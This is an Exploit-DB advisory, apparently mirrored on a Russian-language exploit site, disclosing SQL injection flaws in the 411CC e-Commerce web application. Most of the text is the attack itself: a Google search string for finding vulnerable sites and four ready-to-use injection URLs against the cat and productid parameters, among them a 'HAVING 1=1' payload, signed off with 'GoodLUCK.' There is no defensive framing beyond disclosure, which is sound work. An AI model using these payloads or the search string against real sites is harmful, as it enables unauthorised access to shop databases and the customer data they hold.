Exploit 411cc - Multiple SQL Injections

[Exploiter]

EDB-ID

15276

Проверка EDB

1. Пройдено

Автор

KNOCKOUT

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2010-10-18

===================================================================
411CC e-Commerce <= String(') SQL Injection Vulnerabilities
===================================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : [email protected]
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : 411CC e-Commerce
~Version : N/A
~Software: http://www.411cc.com/
~Vulnerability Style : SQL Injection
~Vulnerability Dir : CCART/customer/
~Google Keyword : "Powered By: 411CC"
~SQL Method : MSSQL no error
~String : '
[~]Date : "18.10.2010"
[~]Tested on : (L):Vista, (R):PHP/4.3.9

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
    ~~~~~~~~ Explotation ~~~~~~~~~~~
    String (') SQL Injection Attack..
    http://VICTIM/cccart/customer/home.php?cat=59' {SQL Injection}
    http://VICTIM/cccart/customer/home.php?cat=59' HAVING 1=1/*
    http://VICTIM/cccart/customer/product.php?productid=' {SQL Injection}
    http://VICTIM/cccart/customer/product.php?productid='%27%20having%201=1/*
    ================================
    
     GoodLUCK.